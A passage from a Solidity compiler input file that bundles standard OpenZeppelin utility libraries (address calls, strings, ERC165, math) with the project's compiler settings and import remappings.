{\n require(address(this).balance >= amount, \"Address: insufficient balance\");\n\n (bool success, ) = recipient.call{value: amount}(\"\");\n require(success, \"Address: unable to send value, recipient may have reverted\");\n }\n\n /**\n * @dev Performs a Solidity function call using a low level `call`. A\n * plain `call` is an unsafe replacement for a function call: use this\n * function instead.\n *\n * If `target` reverts with a revert reason, it is bubbled up by this\n * function (like regular Solidity function calls).\n *\n * Returns the raw returned data. To convert to the expected return value,\n * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].\n *\n * Requirements:\n *\n * - `target` must be a contract.\n * - calling `target` with `data` must not revert.\n *\n * _Available since v3.1._\n */\n function functionCall(address target, bytes memory data) internal returns (bytes memory) {\n return functionCallWithValue(target, data, 0, \"Address: low-level call failed\");\n }\n\n /**\n * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with\n * `errorMessage` as a fallback revert reason when `target` reverts.\n *\n * _Available since v3.1._\n */\n function functionCall(\n address target,\n bytes memory data,\n string memory errorMessage\n ) internal returns (bytes memory) {\n return functionCallWithValue(target, data, 0, errorMessage);\n }\n\n /**\n * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],\n * but also transferring `value` wei to `target`.\n *\n * Requirements:\n *\n * - the calling contract must have an ETH balance of at least `value`.\n * - the called Solidity function must be `payable`.\n *\n * _Available since v3.1._\n */\n function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {\n return functionCallWithValue(target, data, value, \"Address: low-level call with value failed\");\n }\n\n /**\n * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but\n * with `errorMessage` as a fallback revert reason when `target` reverts.\n *\n * _Available since v3.1._\n */\n function functionCallWithValue(\n address target,\n bytes memory data,\n uint256 value,\n string memory errorMessage\n ) internal returns (bytes memory) {\n require(address(this).balance >= value, \"Address: insufficient balance for call\");\n (bool success, bytes memory returndata) = target.call{value: value}(data);\n return verifyCallResultFromTarget(target, success, returndata, errorMessage);\n }\n\n /**\n * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],\n * but performing a static call.\n *\n * _Available since v3.3._\n */\n function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {\n return functionStaticCall(target, data, \"Address: low-level static call failed\");\n }\n\n /**\n * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],\n * but performing a static call.\n *\n * _Available since v3.3._\n */\n function functionStaticCall(\n address target,\n bytes memory data,\n string memory errorMessage\n ) internal view returns (bytes memory) {\n (bool success, bytes memory returndata) = target.staticcall(data);\n return verifyCallResultFromTarget(target, success, returndata, errorMessage);\n }\n\n /**\n * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],\n * but performing a delegate call.\n *\n * _Available since v3.4._\n */\n function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {\n return functionDelegateCall(target, data, \"Address: low-level delegate call failed\");\n }\n\n /**\n * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],\n * but performing a delegate call.\n *\n * _Available since v3.4._\n */\n function functionDelegateCall(\n address target,\n bytes memory data,\n string memory errorMessage\n ) internal returns (bytes memory) {\n (bool success, bytes memory returndata) = target.delegatecall(data);\n return verifyCallResultFromTarget(target, success, returndata, errorMessage);\n }\n\n /**\n * @dev Tool to verify that a low level call to smart-contract was successful, and revert (either by bubbling\n * the revert reason or using the provided one) in case of unsuccessful call or if target was not a contract.\n *\n * _Available since v4.8._\n */\n function verifyCallResultFromTarget(\n address target,\n bool success,\n bytes memory returndata,\n string memory errorMessage\n ) internal view returns (bytes memory) {\n if (success) {\n if (returndata.length == 0) {\n // only check isContract if the call was successful and the return data is empty\n // otherwise we already know that it was a contract\n require(isContract(target), \"Address: call to non-contract\");\n }\n return returndata;\n } else {\n _revert(returndata, errorMessage);\n }\n }\n\n /**\n * @dev Tool to verify that a low level call was successful, and revert if it wasn't, either by bubbling the\n * revert reason or using the provided one.\n *\n * _Available since v4.3._\n */\n function verifyCallResult(\n bool success,\n bytes memory returndata,\n string memory errorMessage\n ) internal pure returns (bytes memory) {\n if (success) {\n return returndata;\n } else {\n _revert(returndata, errorMessage);\n }\n }\n\n function _revert(bytes memory returndata, string memory errorMessage) private pure {\n // Look for revert reason and bubble it up if present\n if (returndata.length > 0) {\n // The easiest way to bubble the revert reason is using memory via assembly\n /// @solidity memory-safe-assembly\n assembly {\n let returndata_size := mload(returndata)\n revert(add(32, returndata), returndata_size)\n }\n } else {\n revert(errorMessage);\n }\n }\n}\n"
},
"lib/openzeppelin-contracts-upgradeable/contracts/utils/ContextUpgradeable.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts v4.4.1 (utils/Context.sol)\n\npragma solidity ^0.8.0;\nimport \"../proxy/utils/Initializable.sol\";\n\n/**\n * @dev Provides information about the current execution context, including the\n * sender of the transaction and its data. While these are generally available\n * via msg.sender and msg.data, they should not be accessed in such a direct\n * manner, since when dealing with meta-transactions the account sending and\n * paying for execution may not be the actual sender (as far as an application\n * is concerned).\n *\n * This contract is only required for intermediate, library-like contracts.\n */\nabstract contract ContextUpgradeable is Initializable {\n function __Context_init() internal onlyInitializing {\n }\n\n function __Context_init_unchained() internal onlyInitializing {\n }\n function _msgSender() internal view virtual returns (address) {\n return msg.sender;\n }\n\n function _msgData() internal view virtual returns (bytes calldata) {\n return msg.data;\n }\n\n /**\n * @dev This empty reserved space is put in place to allow future versions to add new\n * variables without shifting down storage in the inheritance chain.\n * See https://docs.openzeppelin.com/contracts/4.x/upgradeable#storage_gaps\n */\n uint256[50] private __gap;\n}\n"
},
"lib/openzeppelin-contracts-upgradeable/contracts/utils/StringsUpgradeable.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts (last updated v4.9.0) (utils/Strings.sol)\n\npragma solidity ^0.8.0;\n\nimport \"./math/MathUpgradeable.sol\";\nimport \"./math/SignedMathUpgradeable.sol\";\n\n/**\n * @dev String operations.\n */\nlibrary StringsUpgradeable {\n bytes16 private constant _SYMBOLS = \"0123456789abcdef\";\n uint8 private constant _ADDRESS_LENGTH = 20;\n\n /**\n * @dev Converts a `uint256` to its ASCII `string` decimal representation.\n */\n function toString(uint256 value) internal pure returns (string memory) {\n unchecked {\n uint256 length = MathUpgradeable.log10(value) + 1;\n string memory buffer = new string(length);\n uint256 ptr;\n /// @solidity memory-safe-assembly\n assembly {\n ptr := add(buffer, add(32, length))\n }\n while (true) {\n ptr--;\n /// @solidity memory-safe-assembly\n assembly {\n mstore8(ptr, byte(mod(value, 10), _SYMBOLS))\n }\n value /= 10;\n if (value == 0) break;\n }\n return buffer;\n }\n }\n\n /**\n * @dev Converts a `int256` to its ASCII `string` decimal representation.\n */\n function toString(int256 value) internal pure returns (string memory) {\n return string(abi.encodePacked(value < 0 ? \"-\" : \"\", toString(SignedMathUpgradeable.abs(value))));\n }\n\n /**\n * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation.\n */\n function toHexString(uint256 value) internal pure returns (string memory) {\n unchecked {\n return toHexString(value, MathUpgradeable.log256(value) + 1);\n }\n }\n\n /**\n * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length.\n */\n function toHexString(uint256 value, uint256 length) internal pure returns (string memory) {\n bytes memory buffer = new bytes(2 * length + 2);\n buffer[0] = \"0\";\n buffer[1] = \"x\";\n for (uint256 i = 2 * length + 1; i > 1; --i) {\n buffer[i] = _SYMBOLS[value & 0xf];\n value >>= 4;\n }\n require(value == 0, \"Strings: hex length insufficient\");\n return string(buffer);\n }\n\n /**\n * @dev Converts an `address` with fixed length of 20 bytes to its not checksummed ASCII `string` hexadecimal representation.\n */\n function toHexString(address addr) internal pure returns (string memory) {\n return toHexString(uint256(uint160(addr)), _ADDRESS_LENGTH);\n }\n\n /**\n * @dev Returns true if the two strings are equal.\n */\n function equal(string memory a, string memory b) internal pure returns (bool) {\n return keccak256(bytes(a)) == keccak256(bytes(b));\n }\n}\n"
},
"lib/openzeppelin-contracts-upgradeable/contracts/utils/introspection/ERC165Upgradeable.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts v4.4.1 (utils/introspection/ERC165.sol)\n\npragma solidity ^0.8.0;\n\nimport \"./IERC165Upgradeable.sol\";\nimport \"../../proxy/utils/Initializable.sol\";\n\n/**\n * @dev Implementation of the {IERC165} interface.\n *\n * Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check\n * for the additional interface id that will be supported. For example:\n *\n * ```solidity\n * function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {\n * return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId);\n * }\n * ```\n *\n * Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation.\n */\nabstract contract ERC165Upgradeable is Initializable, IERC165Upgradeable {\n function __ERC165_init() internal onlyInitializing {\n }\n\n function __ERC165_init_unchained() internal onlyInitializing {\n }\n /**\n * @dev See {IERC165-supportsInterface}.\n */\n function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {\n return interfaceId == type(IERC165Upgradeable).interfaceId;\n }\n\n /**\n * @dev This empty reserved space is put in place to allow future versions to add new\n * variables without shifting down storage in the inheritance chain.\n * See https://docs.openzeppelin.com/contracts/4.x/upgradeable#storage_gaps\n */\n uint256[50] private __gap;\n}\n"
},
"lib/openzeppelin-contracts-upgradeable/contracts/utils/introspection/IERC165Upgradeable.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts v4.4.1 (utils/introspection/IERC165.sol)\n\npragma solidity ^0.8.0;\n\n/**\n * @dev Interface of the ERC165 standard, as defined in the\n * https://eips.ethereum.org/EIPS/eip-165[EIP].\n *\n * Implementers can declare support of contract interfaces, which can then be\n * queried by others ({ERC165Checker}).\n *\n * For an implementation, see {ERC165}.\n */\ninterface IERC165Upgradeable {\n /**\n * @dev Returns true if this contract implements the interface defined by\n * `interfaceId`. See the corresponding\n * https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section]\n * to learn more about how these ids are created.\n *\n * This function call must use less than 30 000 gas.\n */\n function supportsInterface(bytes4 interfaceId) external view returns (bool);\n}\n"
},
"lib/openzeppelin-contracts-upgradeable/contracts/utils/math/MathUpgradeable.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts (last updated v4.9.0) (utils/math/Math.sol)\n\npragma solidity ^0.8.0;\n\n/**\n * @dev Standard math utilities missing in the Solidity language.\n */\nlibrary MathUpgradeable {\n enum Rounding {\n Down, // Toward negative infinity\n Up, // Toward infinity\n Zero // Toward zero\n }\n\n /**\n * @dev Returns the largest of two numbers.\n */\n function max(uint256 a, uint256 b) internal pure returns (uint256) {\n return a > b ? a : b;\n }\n\n /**\n * @dev Returns the smallest of two numbers.\n */\n function min(uint256 a, uint256 b) internal pure returns (uint256) {\n return a < b ? a : b;\n }\n\n /**\n * @dev Returns the average of two numbers. The result is rounded towards\n * zero.\n */\n function average(uint256 a, uint256 b) internal pure returns (uint256) {\n // (a + b) / 2 can overflow.\n return (a & b) + (a ^ b) / 2;\n }\n\n /**\n * @dev Returns the ceiling of the division of two numbers.\n *\n * This differs from standard division with `/` in that it rounds up instead\n * of rounding down.\n */\n function ceilDiv(uint256 a, uint256 b) internal pure returns (uint256) {\n // (a + b - 1) / b can overflow on addition, so we distribute.\n return a == 0 ? 0 : (a - 1) / b + 1;\n }\n\n /**\n * @notice Calculates floor(x * y / denominator) with full precision. Throws if result overflows a uint256 or denominator == 0\n * @dev Original credit to Remco Bloemen under MIT license (https://xn--2-umb.com/21/muldiv)\n * with further edits by Uniswap Labs also under MIT license.\n */\n function mulDiv(uint256 x, uint256 y, uint256 denominator) internal pure returns (uint256 result) {\n unchecked {\n // 512-bit multiply [prod1 prod0] = x * y. Compute the product mod 2^256 and mod 2^256 - 1, then use\n // use the Chinese Remainder Theorem to reconstruct the 512 bit result. The result is stored in two 256\n // variables such that product = prod1 * 2^256 + prod0.\n uint256 prod0; // Least significant 256 bits of the product\n uint256 prod1; // Most significant 256 bits of the product\n assembly {\n let mm := mulmod(x, y, not(0))\n prod0 := mul(x, y)\n prod1 := sub(sub(mm, prod0), lt(mm, prod0))\n }\n\n // Handle non-overflow cases, 256 by 256 division.\n if (prod1 == 0) {\n // Solidity will revert if denominator == 0, unlike the div opcode on its own.\n // The surrounding unchecked block does not change this fact.\n // See https://docs.soliditylang.org/en/latest/control-structures.html#checked-or-unchecked-arithmetic.\n return prod0 / denominator;\n }\n\n // Make sure the result is less than 2^256. Also prevents denominator == 0.\n require(denominator > prod1, \"Math: mulDiv overflow\");\n\n ///////////////////////////////////////////////\n // 512 by 256 division.\n ///////////////////////////////////////////////\n\n // Make division exact by subtracting the remainder from [prod1 prod0].\n uint256 remainder;\n assembly {\n // Compute remainder using mulmod.\n remainder := mulmod(x, y, denominator)\n\n // Subtract 256 bit number from 512 bit number.\n prod1 := sub(prod1, gt(remainder, prod0))\n prod0 := sub(prod0, remainder)\n }\n\n // Factor powers of two out of denominator and compute largest power of two divisor of denominator. Always >= 1.\n // See https://cs.stackexchange.com/q/138556/92363.\n\n // Does not overflow because the denominator cannot be zero at this stage in the function.\n uint256 twos = denominator & (~denominator + 1);\n assembly {\n // Divide denominator by twos.\n denominator := div(denominator, twos)\n\n // Divide [prod1 prod0] by twos.\n prod0 := div(prod0, twos)\n\n // Flip twos such that it is 2^256 / twos. If twos is zero, then it becomes one.\n twos := add(div(sub(0, twos), twos), 1)\n }\n\n // Shift in bits from prod1 into prod0.\n prod0 |= prod1 * twos;\n\n // Invert denominator mod 2^256. Now that denominator is an odd number, it has an inverse modulo 2^256 such\n // that denominator * inv = 1 mod 2^256. Compute the inverse by starting with a seed that is correct for\n // four bits. That is, denominator * inv = 1 mod 2^4.\n uint256 inverse = (3 * denominator) ^ 2;\n\n // Use the Newton-Raphson iteration to improve the precision. Thanks to Hensel's lifting lemma, this also works\n // in modular arithmetic, doubling the correct bits in each step.\n inverse *= 2 - denominator * inverse; // inverse mod 2^8\n inverse *= 2 - denominator * inverse; // inverse mod 2^16\n inverse *= 2 - denominator * inverse; // inverse mod 2^32\n inverse *= 2 - denominator * inverse; // inverse mod 2^64\n inverse *= 2 - denominator * inverse; // inverse mod 2^128\n inverse *= 2 - denominator * inverse; // inverse mod 2^256\n\n // Because the division is now exact we can divide by multiplying with the modular inverse of denominator.\n // This will give us the correct result modulo 2^256. Since the preconditions guarantee that the outcome is\n // less than 2^256, this is the final result. We don't need to compute the high bits of the result and prod1\n // is no longer required.\n result = prod0 * inverse;\n return result;\n }\n }\n\n /**\n * @notice Calculates x * y / denominator with full precision, following the selected rounding direction.\n */\n function mulDiv(uint256 x, uint256 y, uint256 denominator, Rounding rounding) internal pure returns (uint256) {\n uint256 result = mulDiv(x, y, denominator);\n if (rounding == Rounding.Up && mulmod(x, y, denominator) > 0) {\n result += 1;\n }\n return result;\n }\n\n /**\n * @dev Returns the square root of a number. If the number is not a perfect square, the value is rounded down.\n *\n * Inspired by Henry S. Warren, Jr.'s \"Hacker's Delight\" (Chapter 11).\n */\n function sqrt(uint256 a) internal pure returns (uint256) {\n if (a == 0) {\n return 0;\n }\n\n // For our first guess, we get the biggest power of 2 which is smaller than the square root of the target.\n //\n // We know that the \"msb\" (most significant bit) of our target number `a` is a power of 2 such that we have\n // `msb(a) <= a < 2*msb(a)`. This value can be written `msb(a)=2**k` with `k=log2(a)`.\n //\n // This can be rewritten `2**log2(a) <= a < 2**(log2(a) + 1)`\n // → `sqrt(2**k) <= sqrt(a) < sqrt(2**(k+1))`\n // → `2**(k/2) <= sqrt(a) < 2**((k+1)/2) <= 2**(k/2 + 1)`\n //\n // Consequently, `2**(log2(a) / 2)` is a good first approximation of `sqrt(a)` with at least 1 correct bit.\n uint256 result = 1 << (log2(a) >> 1);\n\n // At this point `result` is an estimation with one bit of precision. We know the true value is a uint128,\n // since it is the square root of a uint256. Newton's method converges quadratically (precision doubles at\n // every iteration). We thus need at most 7 iteration to turn our partial result with one bit of precision\n // into the expected uint128 result.\n unchecked {\n result = (result + a / result) >> 1;\n result = (result + a / result) >> 1;\n result = (result + a / result) >> 1;\n result = (result + a / result) >> 1;\n result = (result + a / result) >> 1;\n result = (result + a / result) >> 1;\n result = (result + a / result) >> 1;\n return min(result, a / result);\n }\n }\n\n /**\n * @notice Calculates sqrt(a), following the selected rounding direction.\n */\n function sqrt(uint256 a, Rounding rounding) internal pure returns (uint256) {\n unchecked {\n uint256 result = sqrt(a);\n return result + (rounding == Rounding.Up && result * result < a ? 1 : 0);\n }\n }\n\n /**\n * @dev Return the log in base 2, rounded down, of a positive value.\n * Returns 0 if given 0.\n */\n function log2(uint256 value) internal pure returns (uint256) {\n uint256 result = 0;\n unchecked {\n if (value >> 128 > 0) {\n value >>= 128;\n result += 128;\n }\n if (value >> 64 > 0) {\n value >>= 64;\n result += 64;\n }\n if (value >> 32 > 0) {\n value >>= 32;\n result += 32;\n }\n if (value >> 16 > 0) {\n value >>= 16;\n result += 16;\n }\n if (value >> 8 > 0) {\n value >>= 8;\n result += 8;\n }\n if (value >> 4 > 0) {\n value >>= 4;\n result += 4;\n }\n if (value >> 2 > 0) {\n value >>= 2;\n result += 2;\n }\n if (value >> 1 > 0) {\n result += 1;\n }\n }\n return result;\n }\n\n /**\n * @dev Return the log in base 2, following the selected rounding direction, of a positive value.\n * Returns 0 if given 0.\n */\n function log2(uint256 value, Rounding rounding) internal pure returns (uint256) {\n unchecked {\n uint256 result = log2(value);\n return result + (rounding == Rounding.Up && 1 << result < value ? 1 : 0);\n }\n }\n\n /**\n * @dev Return the log in base 10, rounded down, of a positive value.\n * Returns 0 if given 0.\n */\n function log10(uint256 value) internal pure returns (uint256) {\n uint256 result = 0;\n unchecked {\n if (value >= 10 ** 64) {\n value /= 10 ** 64;\n result += 64;\n }\n if (value >= 10 ** 32) {\n value /= 10 ** 32;\n result += 32;\n }\n if (value >= 10 ** 16) {\n value /= 10 ** 16;\n result += 16;\n }\n if (value >= 10 ** 8) {\n value /= 10 ** 8;\n result += 8;\n }\n if (value >= 10 ** 4) {\n value /= 10 ** 4;\n result += 4;\n }\n if (value >= 10 ** 2) {\n value /= 10 ** 2;\n result += 2;\n }\n if (value >= 10 ** 1) {\n result += 1;\n }\n }\n return result;\n }\n\n /**\n * @dev Return the log in base 10, following the selected rounding direction, of a positive value.\n * Returns 0 if given 0.\n */\n function log10(uint256 value, Rounding rounding) internal pure returns (uint256) {\n unchecked {\n uint256 result = log10(value);\n return result + (rounding == Rounding.Up && 10 ** result < value ? 1 : 0);\n }\n }\n\n /**\n * @dev Return the log in base 256, rounded down, of a positive value.\n * Returns 0 if given 0.\n *\n * Adding one to the result gives the number of pairs of hex symbols needed to represent `value` as a hex string.\n */\n function log256(uint256 value) internal pure returns (uint256) {\n uint256 result = 0;\n unchecked {\n if (value >> 128 > 0) {\n value >>= 128;\n result += 16;\n }\n if (value >> 64 > 0) {\n value >>= 64;\n result += 8;\n }\n if (value >> 32 > 0) {\n value >>= 32;\n result += 4;\n }\n if (value >> 16 > 0) {\n value >>= 16;\n result += 2;\n }\n if (value >> 8 > 0) {\n result += 1;\n }\n }\n return result;\n }\n\n /**\n * @dev Return the log in base 256, following the selected rounding direction, of a positive value.\n * Returns 0 if given 0.\n */\n function log256(uint256 value, Rounding rounding) internal pure returns (uint256) {\n unchecked {\n uint256 result = log256(value);\n return result + (rounding == Rounding.Up && 1 << (result << 3) < value ? 1 : 0);\n }\n }\n}\n"
},
"lib/openzeppelin-contracts-upgradeable/contracts/utils/math/SignedMathUpgradeable.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts (last updated v4.8.0) (utils/math/SignedMath.sol)\n\npragma solidity ^0.8.0;\n\n/**\n * @dev Standard signed math utilities missing in the Solidity language.\n */\nlibrary SignedMathUpgradeable {\n /**\n * @dev Returns the largest of two signed numbers.\n */\n function max(int256 a, int256 b) internal pure returns (int256) {\n return a > b ? a : b;\n }\n\n /**\n * @dev Returns the smallest of two signed numbers.\n */\n function min(int256 a, int256 b) internal pure returns (int256) {\n return a < b ? a : b;\n }\n\n /**\n * @dev Returns the average of two signed numbers without overflow.\n * The result is rounded towards zero.\n */\n function average(int256 a, int256 b) internal pure returns (int256) {\n // Formula from the book \"Hacker's Delight\"\n int256 x = (a & b) + ((a ^ b) >> 1);\n return x + (int256(uint256(x) >> 255) & (a ^ b));\n }\n\n /**\n * @dev Returns the absolute unsigned value of a signed value.\n */\n function abs(int256 n) internal pure returns (uint256) {\n unchecked {\n // must be unchecked in order to support `n = type(int256).min`\n return uint256(n >= 0 ? n : -n);\n }\n }\n}\n"
},
"lib/openzeppelin-contracts/contracts/utils/Address.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts (last updated v4.9.0) (utils/Address.sol)\n\npragma solidity ^0.8.1;\n\n/**\n * @dev Collection of functions related to the address type\n */\nlibrary Address {\n /**\n * @dev Returns true if `account` is a contract.\n *\n * [IMPORTANT]\n * ====\n * It is unsafe to assume that an address for which this function returns\n * false is an externally-owned account (EOA) and not a contract.\n *\n * Among others, `isContract` will return false for the following\n * types of addresses:\n *\n * - an externally-owned account\n * - a contract in construction\n * - an address where a contract will be created\n * - an address where a contract lived, but was destroyed\n *\n * Furthermore, `isContract` will also return true if the target contract within\n * the same transaction is already scheduled for destruction by `SELFDESTRUCT`,\n * which only has an effect at the end of a transaction.\n * ====\n *\n * [IMPORTANT]\n * ====\n * You shouldn't rely on `isContract` to protect against flash loan attacks!\n *\n * Preventing calls from contracts is highly discouraged. It breaks composability, breaks support for smart wallets\n * like Gnosis Safe, and does not provide security since it can be circumvented by calling from a contract\n * constructor.\n * ====\n */\n function isContract(address account) internal view returns (bool) {\n // This method relies on extcodesize/address.code.length, which returns 0\n // for contracts in construction, since the code is only stored at the end\n // of the constructor execution.\n\n return account.code.length > 0;\n }\n\n /**\n * @dev Replacement for Solidity's `transfer`: sends `amount` wei to\n * `recipient`, forwarding all available gas and reverting on errors.\n *\n * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost\n * of certain opcodes, possibly making contracts go over the 2300 gas limit\n * imposed by `transfer`, making them unable to receive funds via\n * `transfer`. {sendValue} removes this limitation.\n *\n * https://consensys.net/diligence/blog/2019/09/stop-using-soliditys-transfer-now/[Learn more].\n *\n * IMPORTANT: because control is transferred to `recipient`, care must be\n * taken to not create reentrancy vulnerabilities. Consider using\n * {ReentrancyGuard} or the\n * https://solidity.readthedocs.io/en/v0.8.0/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].\n */\n function sendValue(address payable recipient, uint256 amount) internal {\n require(address(this).balance >= amount, \"Address: insufficient balance\");\n\n (bool success, ) = recipient.call{value: amount}(\"\");\n require(success, \"Address: unable to send value, recipient may have reverted\");\n }\n\n /**\n * @dev Performs a Solidity function call using a low level `call`. A\n * plain `call` is an unsafe replacement for a function call: use this\n * function instead.\n *\n * If `target` reverts with a revert reason, it is bubbled up by this\n * function (like regular Solidity function calls).\n *\n * Returns the raw returned data. To convert to the expected return value,\n * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].\n *\n * Requirements:\n *\n * - `target` must be a contract.\n * - calling `target` with `data` must not revert.\n *\n * _Available since v3.1._\n */\n function functionCall(address target, bytes memory data) internal returns (bytes memory) {\n return functionCallWithValue(target, data, 0, \"Address: low-level call failed\");\n }\n\n /**\n * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with\n * `errorMessage` as a fallback revert reason when `target` reverts.\n *\n * _Available since v3.1._\n */\n function functionCall(\n address target,\n bytes memory data,\n string memory errorMessage\n ) internal returns (bytes memory) {\n return functionCallWithValue(target, data, 0, errorMessage);\n }\n\n /**\n * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],\n * but also transferring `value` wei to `target`.\n *\n * Requirements:\n *\n * - the calling contract must have an ETH balance of at least `value`.\n * - the called Solidity function must be `payable`.\n *\n * _Available since v3.1._\n */\n function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {\n return functionCallWithValue(target, data, value, \"Address: low-level call with value failed\");\n }\n\n /**\n * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but\n * with `errorMessage` as a fallback revert reason when `target` reverts.\n *\n * _Available since v3.1._\n */\n function functionCallWithValue(\n address target,\n bytes memory data,\n uint256 value,\n string memory errorMessage\n ) internal returns (bytes memory) {\n require(address(this).balance >= value, \"Address: insufficient balance for call\");\n (bool success, bytes memory returndata) = target.call{value: value}(data);\n return verifyCallResultFromTarget(target, success, returndata, errorMessage);\n }\n\n /**\n * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],\n * but performing a static call.\n *\n * _Available since v3.3._\n */\n function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {\n return functionStaticCall(target, data, \"Address: low-level static call failed\");\n }\n\n /**\n * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],\n * but performing a static call.\n *\n * _Available since v3.3._\n */\n function functionStaticCall(\n address target,\n bytes memory data,\n string memory errorMessage\n ) internal view returns (bytes memory) {\n (bool success, bytes memory returndata) = target.staticcall(data);\n return verifyCallResultFromTarget(target, success, returndata, errorMessage);\n }\n\n /**\n * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],\n * but performing a delegate call.\n *\n * _Available since v3.4._\n */\n function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {\n return functionDelegateCall(target, data, \"Address: low-level delegate call failed\");\n }\n\n /**\n * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],\n * but performing a delegate call.\n *\n * _Available since v3.4._\n */\n function functionDelegateCall(\n address target,\n bytes memory data,\n string memory errorMessage\n ) internal returns (bytes memory) {\n (bool success, bytes memory returndata) = target.delegatecall(data);\n return verifyCallResultFromTarget(target, success, returndata, errorMessage);\n }\n\n /**\n * @dev Tool to verify that a low level call to smart-contract was successful, and revert (either by bubbling\n * the revert reason or using the provided one) in case of unsuccessful call or if target was not a contract.\n *\n * _Available since v4.8._\n */\n function verifyCallResultFromTarget(\n address target,\n bool success,\n bytes memory returndata,\n string memory errorMessage\n ) internal view returns (bytes memory) {\n if (success) {\n if (returndata.length == 0) {\n // only check isContract if the call was successful and the return data is empty\n // otherwise we already know that it was a contract\n require(isContract(target), \"Address: call to non-contract\");\n }\n return returndata;\n } else {\n _revert(returndata, errorMessage);\n }\n }\n\n /**\n * @dev Tool to verify that a low level call was successful, and revert if it wasn't, either by bubbling the\n * revert reason or using the provided one.\n *\n * _Available since v4.3._\n */\n function verifyCallResult(\n bool success,\n bytes memory returndata,\n string memory errorMessage\n ) internal pure returns (bytes memory) {\n if (success) {\n return returndata;\n } else {\n _revert(returndata, errorMessage);\n }\n }\n\n function _revert(bytes memory returndata, string memory errorMessage) private pure {\n // Look for revert reason and bubble it up if present\n if (returndata.length > 0) {\n // The easiest way to bubble the revert reason is using memory via assembly\n /// @solidity memory-safe-assembly\n assembly {\n let returndata_size := mload(returndata)\n revert(add(32, returndata), returndata_size)\n }\n } else {\n revert(errorMessage);\n }\n }\n}\n"
}
},
"settings": {
"optimizer": {
"enabled": true,
"runs": 20
},
"evmVersion": "london",
"remappings": [
":@chainlink/=lib/chainlink/",
":@ds-test/=lib/ds-test/src/",
":@openzeppelin/contracts-upgradeable/=lib/openzeppelin-contracts-upgradeable/contracts/",
":@openzeppelin/contracts/=lib/openzeppelin-contracts/contracts/",
":@std/=lib/forge-std/src/",
":@thirdweb-dev/dynamic-contracts/=lib/dynamic-contracts/",
":ERC721A-Upgradeable/=lib/ERC721A-Upgradeable/contracts/",
":ERC721A/=lib/ERC721A/contracts/",
":chainlink/=lib/chainlink/contracts/",
":contracts/=contracts/",
":ds-test/=lib/ds-test/src/",
":dynamic-contracts/=lib/dynamic-contracts/src/",
":erc4626-tests/=lib/openzeppelin-contracts-upgradeable/lib/erc4626-tests/",
":erc721a-upgradeable/=lib/ERC721A-Upgradeable/",
":erc721a/=lib/ERC721A/",
":forge-std/=lib/forge-std/src/",
":lib/sstore2/=lib/dynamic-contracts/lib/sstore2/",
":openzeppelin-contracts-upgradeable/=lib/openzeppelin-contracts-upgradeable/",
":openzeppelin-contracts/=lib/openzeppelin-contracts/",
":openzeppelin/=lib/openzeppelin-contracts-upgradeable/contracts/",
":sstore2/=lib/dynamic-contracts/lib/sstore2/contracts/"
],
"outputSelection": {
"*": {
"*": [
"evm.bytecode",
"evm.deployedBytecode",
"devdoc",
"userdoc",
"metadata",
"abi"
]
}
}
}
}} |
